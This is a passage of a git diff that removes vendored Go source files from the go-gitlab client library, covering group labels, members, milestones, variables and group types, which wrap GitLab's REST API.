API docs: https://docs.gitlab.com/ce/api/group_labels.html -type GroupLabelsService struct { - client *Client -} - -// GroupLabel represents a GitLab group label. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/group_labels.html -type GroupLabel Label - -func (l GroupLabel) String() string { - return Stringify(l) -} - -// ListGroupLabelsOptions represents the available ListGroupLabels() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#list-labels -type ListGroupLabelsOptions ListOptions - -// ListGroupLabels gets all labels for given group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#list-group-labels -func (s *GroupLabelsService) ListGroupLabels(gid interface{}, opt *ListGroupLabelsOptions, options ...RequestOptionFunc) ([]*GroupLabel, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/labels", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var l []*GroupLabel - resp, err := s.client.Do(req, &l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// GetGroupLabel get a single label for a given group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#get-a-single-group-label -func (s *GroupLabelsService) GetGroupLabel(gid interface{}, labelID interface{}, options ...RequestOptionFunc) (*GroupLabel, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - label, err := parseID(labelID) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/labels/%s", pathEscape(group), label) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var l *GroupLabel - resp, err := s.client.Do(req, &l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// CreateGroupLabelOptions represents the available CreateGroupLabel() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#create-a-new-group-label -type CreateGroupLabelOptions CreateLabelOptions - -// CreateGroupLabel creates a new label for given group with given name and -// color. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#create-a-new-group-label -func (s *GroupLabelsService) CreateGroupLabel(gid interface{}, opt *CreateGroupLabelOptions, options ...RequestOptionFunc) (*GroupLabel, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/labels", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - l := new(GroupLabel) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// DeleteGroupLabelOptions represents the available DeleteGroupLabel() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#delete-a-group-label -type DeleteGroupLabelOptions DeleteLabelOptions - -// DeleteGroupLabel deletes a group label given by its name. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/labels.html#delete-a-label -func (s *GroupLabelsService) DeleteGroupLabel(gid interface{}, opt *DeleteGroupLabelOptions, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/labels", pathEscape(group)) - - req, err := s.client.NewRequest("DELETE", u, opt, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// UpdateGroupLabelOptions represents the available UpdateGroupLabel() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#update-a-group-label -type UpdateGroupLabelOptions UpdateLabelOptions - -// UpdateGroupLabel updates an existing label with new name or now color. At least -// one parameter is required, to update the label. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#update-a-group-label -func (s *GroupLabelsService) UpdateGroupLabel(gid interface{}, opt *UpdateGroupLabelOptions, options ...RequestOptionFunc) (*GroupLabel, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/labels", pathEscape(group)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - l := new(GroupLabel) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// SubscribeToGroupLabel subscribes the authenticated user to a label to receive -// notifications. If the user is already subscribed to the label, the status -// code 304 is returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#subscribe-to-a-group-label -func (s *GroupLabelsService) SubscribeToGroupLabel(gid interface{}, labelID interface{}, options ...RequestOptionFunc) (*GroupLabel, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - label, err := parseID(labelID) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/labels/%s/subscribe", pathEscape(group), label) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - l := new(GroupLabel) - resp, err := s.client.Do(req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, err -} - -// UnsubscribeFromGroupLabel unsubscribes the authenticated user from a label to not -// receive notifications from it. If the user is not subscribed to the label, the -// status code 304 is returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_labels.html#unsubscribe-from-a-group-label -func (s *GroupLabelsService) UnsubscribeFromGroupLabel(gid interface{}, labelID interface{}, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - label, err := parseID(labelID) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/labels/%s/unsubscribe", pathEscape(group), label) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/group_members.go b/vendor/github.com/xanzy/go-gitlab/group_members.go deleted file mode 100644 index 7fc1d4ced9..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/group_members.go +++ /dev/null @@ -1,275 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" -) - -// GroupMembersService handles communication with the group members -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/members.html -type GroupMembersService struct { - client *Client -} - -// GroupMemberSAMLIdentity represents the SAML Identity link for the group member. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/members.html#list-all-members-of-a-group-or-project -// Gitlab MR for API change: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20357 -// Gitlab MR for API Doc change: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25652 -type GroupMemberSAMLIdentity struct { - ExternUID string `json:"extern_uid"` - Provider string `json:"provider"` - SAMLProviderID int `json:"saml_provider_id"` -} - -// GroupMember represents a GitLab group member. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/members.html -type GroupMember struct { - ID int `json:"id"` - Username string `json:"username"` - Name string `json:"name"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - ExpiresAt *ISOTime `json:"expires_at"` - AccessLevel AccessLevelValue `json:"access_level"` - GroupSAMLIdentity *GroupMemberSAMLIdentity `json:"group_saml_identity"` -} - -// ListGroupMembersOptions represents the available ListGroupMembers() and -// ListAllGroupMembers() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#list-all-members-of-a-group-or-project -type ListGroupMembersOptions struct { - ListOptions - Query *string `url:"query,omitempty" json:"query,omitempty"` -} - -// ListGroupMembers get a list of group members viewable by the authenticated -// user. Inherited members through ancestor groups are not included. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#list-all-members-of-a-group-or-project -func (s *GroupsService) ListGroupMembers(gid interface{}, opt *ListGroupMembersOptions, options ...RequestOptionFunc) ([]*GroupMember, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/members", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var gm []*GroupMember - resp, err := s.client.Do(req, &gm) - if err != nil { - return nil, resp, err - } - - return gm, resp, err -} - -// ListAllGroupMembers get a list of group members viewable by the authenticated -// user. Returns a list including inherited members through ancestor groups. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#list-all-members-of-a-group-or-project-including-inherited-members -func (s *GroupsService) ListAllGroupMembers(gid interface{}, opt *ListGroupMembersOptions, options ...RequestOptionFunc) ([]*GroupMember, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/members/all", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var gm []*GroupMember - resp, err := s.client.Do(req, &gm) - if err != nil { - return nil, resp, err - } - - return gm, resp, err -} - -// AddGroupMemberOptions represents the available AddGroupMember() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#add-a-member-to-a-group-or-project -type AddGroupMemberOptions struct { - UserID *int `url:"user_id,omitempty" json:"user_id,omitempty"` - AccessLevel *AccessLevelValue `url:"access_level,omitempty" json:"access_level,omitempty"` - ExpiresAt *string `url:"expires_at,omitempty" json:"expires_at"` -} - -// GetGroupMember gets a member of a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#get-a-member-of-a-group-or-project -func (s *GroupMembersService) GetGroupMember(gid interface{}, user int, options ...RequestOptionFunc) (*GroupMember, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/members/%d", pathEscape(group), user) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - gm := new(GroupMember) - resp, err := s.client.Do(req, gm) - if err != nil { - return nil, resp, err - } - - return gm, resp, err -} - -// AddGroupMember adds a user to the list of group members. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#add-a-member-to-a-group-or-project -func (s *GroupMembersService) AddGroupMember(gid interface{}, opt *AddGroupMemberOptions, options ...RequestOptionFunc) (*GroupMember, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/members", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - gm := new(GroupMember) - resp, err := s.client.Do(req, gm) - if err != nil { - return nil, resp, err - } - - return gm, resp, err -} - -// ShareWithGroup shares a group with the group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#share-groups-with-groups -func (s *GroupMembersService) ShareWithGroup(gid interface{}, opt *ShareWithGroupOptions, options ...RequestOptionFunc) (*Group, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/share", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - g := new(Group) - resp, err := s.client.Do(req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, err -} - -// DeleteShareWithGroup allows to unshare a group from a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/groups.html#delete-link-sharing-group-with-another-group -func (s *GroupMembersService) DeleteShareWithGroup(gid interface{}, groupID int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/share/%d", pathEscape(group), groupID) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// EditGroupMemberOptions represents the available EditGroupMember() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#edit-a-member-of-a-group-or-project -type EditGroupMemberOptions struct { - AccessLevel *AccessLevelValue `url:"access_level,omitempty" json:"access_level,omitempty"` - ExpiresAt *string `url:"expires_at,omitempty" json:"expires_at"` -} - -// EditGroupMember updates a member of a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#edit-a-member-of-a-group-or-project -func (s *GroupMembersService) EditGroupMember(gid interface{}, user int, opt *EditGroupMemberOptions, options ...RequestOptionFunc) (*GroupMember, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/members/%d", pathEscape(group), user) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - gm := new(GroupMember) - resp, err := s.client.Do(req, gm) - if err != nil { - return nil, resp, err - } - - return gm, resp, err -} - -// RemoveGroupMember removes user from user team. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/members.html#remove-a-member-from-a-group-or-project -func (s *GroupMembersService) RemoveGroupMember(gid interface{}, user int, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/members/%d", pathEscape(group), user) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/group_milestones.go b/vendor/github.com/xanzy/go-gitlab/group_milestones.go deleted file mode 100644 index 4cf91f944b..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/group_milestones.go +++ /dev/null @@ -1,288 +0,0 @@ -// -// Copyright 2018, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// GroupMilestonesService handles communication with the milestone related -// methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/group_milestones.html -type GroupMilestonesService struct { - client *Client -} - -// GroupMilestone represents a GitLab milestone. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/group_milestones.html -type GroupMilestone struct { - ID int `json:"id"` - IID int `json:"iid"` - GroupID int `json:"group_id"` - Title string `json:"title"` - Description string `json:"description"` - StartDate *ISOTime `json:"start_date"` - DueDate *ISOTime `json:"due_date"` - State string `json:"state"` - UpdatedAt *time.Time `json:"updated_at"` - CreatedAt *time.Time `json:"created_at"` -} - -func (m GroupMilestone) String() string { - return Stringify(m) -} - -// ListGroupMilestonesOptions represents the available -// ListGroupMilestones() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#list-group-milestones -type ListGroupMilestonesOptions struct { - ListOptions - IIDs []int `url:"iids,omitempty" json:"iids,omitempty"` - State string `url:"state,omitempty" json:"state,omitempty"` - Search string `url:"search,omitempty" json:"search,omitempty"` -} - -// ListGroupMilestones returns a list of group milestones. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#list-group-milestones -func (s *GroupMilestonesService) ListGroupMilestones(gid interface{}, opt *ListGroupMilestonesOptions, options ...RequestOptionFunc) ([]*GroupMilestone, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/milestones", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var m []*GroupMilestone - resp, err := s.client.Do(req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// GetGroupMilestone gets a single group milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#get-single-milestone -func (s *GroupMilestonesService) GetGroupMilestone(gid interface{}, milestone int, options ...RequestOptionFunc) (*GroupMilestone, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/milestones/%d", pathEscape(group), milestone) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - m := new(GroupMilestone) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// CreateGroupMilestoneOptions represents the available CreateGroupMilestone() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#create-new-milestone -type CreateGroupMilestoneOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - StartDate *ISOTime `url:"start_date,omitempty" json:"start_date,omitempty"` - DueDate *ISOTime `url:"due_date,omitempty" json:"due_date,omitempty"` -} - -// CreateGroupMilestone creates a new group milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#create-new-milestone -func (s *GroupMilestonesService) CreateGroupMilestone(gid interface{}, opt *CreateGroupMilestoneOptions, options ...RequestOptionFunc) (*GroupMilestone, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/milestones", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(GroupMilestone) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// UpdateGroupMilestoneOptions represents the available UpdateGroupMilestone() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#edit-milestone -type UpdateGroupMilestoneOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - StartDate *ISOTime `url:"start_date,omitempty" json:"start_date,omitempty"` - DueDate *ISOTime `url:"due_date,omitempty" json:"due_date,omitempty"` - StateEvent *string `url:"state_event,omitempty" json:"state_event,omitempty"` -} - -// UpdateGroupMilestone updates an existing group milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#edit-milestone -func (s *GroupMilestonesService) UpdateGroupMilestone(gid interface{}, milestone int, opt *UpdateGroupMilestoneOptions, options ...RequestOptionFunc) (*GroupMilestone, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/milestones/%d", pathEscape(group), milestone) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(GroupMilestone) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// GetGroupMilestoneIssuesOptions represents the available GetGroupMilestoneIssues() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#get-all-issues-assigned-to-a-single-milestone -type GetGroupMilestoneIssuesOptions ListOptions - -// GetGroupMilestoneIssues gets all issues assigned to a single group milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#get-all-issues-assigned-to-a-single-milestone -func (s *GroupMilestonesService) GetGroupMilestoneIssues(gid interface{}, milestone int, opt *GetGroupMilestoneIssuesOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/milestones/%d/issues", pathEscape(group), milestone) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var i []*Issue - resp, err := s.client.Do(req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// GetGroupMilestoneMergeRequestsOptions represents the available -// GetGroupMilestoneMergeRequests() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#get-all-merge-requests-assigned-to-a-single-milestone -type GetGroupMilestoneMergeRequestsOptions ListOptions - -// GetGroupMilestoneMergeRequests gets all merge requests assigned to a -// single group milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/group_milestones.html#get-all-merge-requests-assigned-to-a-single-milestone -func (s *GroupMilestonesService) GetGroupMilestoneMergeRequests(gid interface{}, milestone int, opt *GetGroupMilestoneMergeRequestsOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/milestones/%d/merge_requests", pathEscape(group), milestone) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var mr []*MergeRequest - resp, err := s.client.Do(req, &mr) - if err != nil { - return nil, resp, err - } - - return mr, resp, err -} - -type BurndownChartEvent struct { - CreatedAt *time.Time `json:"created_at"` - Weight *int `json:"weight"` - Action *string `json:"action"` -} - -// GetGroupMilestoneBurndownChartEventsOptions represents the available -// GetGroupMilestoneBurndownChartEventsOptions() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_milestones.html#get-all-burndown-chart-events-for-a-single-milestone-starter -type GetGroupMilestoneBurndownChartEventsOptions ListOptions - -// GetGroupMilestoneBurndownChartEvents gets all merge requests assigned to a -// single group milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_milestones.html#get-all-burndown-chart-events-for-a-single-milestone-starter -func (s *GroupMilestonesService) GetGroupMilestoneBurndownChartEvents(gid interface{}, milestone int, opt *GetGroupMilestoneBurndownChartEventsOptions, options ...RequestOptionFunc) ([]*BurndownChartEvent, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/milestones/%d/burndown_events", pathEscape(group), milestone) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var be []*BurndownChartEvent - resp, err := s.client.Do(req, &be) - if err != nil { - return nil, resp, err - } - - return be, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/group_variables.go b/vendor/github.com/xanzy/go-gitlab/group_variables.go deleted file mode 100644 index fea12a20a4..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/group_variables.go +++ /dev/null @@ -1,199 +0,0 @@ -// -// Copyright 2018, Patrick Webster -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "net/url" -) - -// GroupVariablesService handles communication with the -// group variables related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html -type GroupVariablesService struct { - client *Client -} - -// GroupVariable represents a GitLab group Variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html -type GroupVariable struct { - Key string `json:"key"` - Value string `json:"value"` - VariableType VariableTypeValue `json:"variable_type"` - Protected bool `json:"protected"` - Masked bool `json:"masked"` -} - -func (v GroupVariable) String() string { - return Stringify(v) -} - -// ListGroupVariablesOptions represents the available options for listing variables -// for a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html#list-group-variables -type ListGroupVariablesOptions ListOptions - -// ListVariables gets a list of all variables for a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html#list-group-variables -func (s *GroupVariablesService) ListVariables(gid interface{}, opt *ListGroupVariablesOptions, options ...RequestOptionFunc) ([]*GroupVariable, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/variables", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var vs []*GroupVariable - resp, err := s.client.Do(req, &vs) - if err != nil { - return nil, resp, err - } - - return vs, resp, err -} - -// GetVariable gets a variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html#show-variable-details -func (s *GroupVariablesService) GetVariable(gid interface{}, key string, options ...RequestOptionFunc) (*GroupVariable, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/variables/%s", pathEscape(group), url.PathEscape(key)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - v := new(GroupVariable) - resp, err := s.client.Do(req, v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} - -// CreateGroupVariableOptions represents the available CreateVariable() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html#create-variable -type CreateGroupVariableOptions struct { - Key *string `url:"key,omitempty" json:"key,omitempty"` - Value *string `url:"value,omitempty" json:"value,omitempty"` - VariableType *VariableTypeValue `url:"variable_type,omitempty" json:"variable_type,omitempty"` - Protected *bool `url:"protected,omitempty" json:"protected,omitempty"` - Masked *bool `url:"masked,omitempty" json:"masked,omitempty"` -} - -// CreateVariable creates a new group variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html#create-variable -func (s *GroupVariablesService) CreateVariable(gid interface{}, opt *CreateGroupVariableOptions, options ...RequestOptionFunc) (*GroupVariable, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/variables", pathEscape(group)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - v := new(GroupVariable) - resp, err := s.client.Do(req, v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} - -// UpdateGroupVariableOptions represents the available UpdateVariable() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html#update-variable -type UpdateGroupVariableOptions struct { - Value *string `url:"value,omitempty" json:"value,omitempty"` - VariableType *VariableTypeValue `url:"variable_type,omitempty" json:"variable_type,omitempty"` - Protected *bool `url:"protected,omitempty" json:"protected,omitempty"` - Masked *bool `url:"masked,omitempty" json:"masked,omitempty"` -} - -// UpdateVariable updates the position of an existing -// group issue board list. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html#update-variable -func (s *GroupVariablesService) UpdateVariable(gid interface{}, key string, opt *UpdateGroupVariableOptions, options ...RequestOptionFunc) (*GroupVariable, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/variables/%s", pathEscape(group), url.PathEscape(key)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - v := new(GroupVariable) - resp, err := s.client.Do(req, v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} - -// RemoveVariable removes a group's variable. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/group_level_variables.html#remove-variable -func (s *GroupVariablesService) RemoveVariable(gid interface{}, key string, options ...RequestOptionFunc) (*Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("groups/%s/variables/%s", pathEscape(group), url.PathEscape(key)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/groups.go b/vendor/github.com/xanzy/go-gitlab/groups.go deleted file mode 100644 index d7cf816da5..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/groups.go +++ /dev/null @@ -1,473 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// GroupsService handles communication with the group related methods of -// the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html -type GroupsService struct { - client *Client -} - -// Group represents a GitLab group. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/groups.html -type Group struct { - ID int `json:"id"` - Name string `json:"name"` - Path string `json:"path"` - Description string `json:"description"` - MembershipLock bool `json:"membership_lock"` - Visibility VisibilityValue `json:"visibility"` - LFSEnabled bool `json:"lfs_enabled"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - RequestAccessEnabled bool `json:"request_access_enabled"` - FullName string `json:"full_name"` - FullPath string `json:"full_path"` - ParentID int `json:"parent_id"` - Projects []*Project `json:"projects"` - Statistics *StorageStatistics `json:"statistics"` - CustomAttributes []*CustomAttribute `json:"custom_attributes"` - ShareWithGroupLock bool `json:"share_with_group_lock"` - RequireTwoFactorAuth bool `json:"require_two_factor_authentication"` - TwoFactorGracePeriod int `json:"two_factor_grace_period"` - ProjectCreationLevel ProjectCreationLevelValue `json:"project_creation_level"` - AutoDevopsEnabled bool `json:"auto_devops_enabled"` - SubGroupCreationLevel SubGroupCreationLevelValue `json:"subgroup_creation_level"` - EmailsDisabled bool `json:"emails_disabled"` - MentionsDisabled bool `json:"mentions_disabled"` - RunnersToken string `json:"runners_token"` - SharedProjects []*Project `json:"shared_projects"` - SharedWithGroups []struct { - GroupID int `json:"group_id"` - GroupName string `json:"group_name"` - GroupFullPath string `json:"group_full_path"` - GroupAccessLevel int `json:"group_access_level"` - ExpiresAt *ISOTime `json:"expires_at"` - } `json:"shared_with_groups"` - LDAPCN string `json:"ldap_cn"` - LDAPAccess AccessLevelValue `json:"ldap_access"` - LDAPGroupLinks []*LDAPGroupLink `json:"ldap_group_links"` - SharedRunnersMinutesLimit int `json:"shared_runners_minutes_limit"` - ExtraSharedRunnersMinutesLimit int `json:"extra_shared_runners_minutes_limit"` - MarkedForDeletionOn *ISOTime 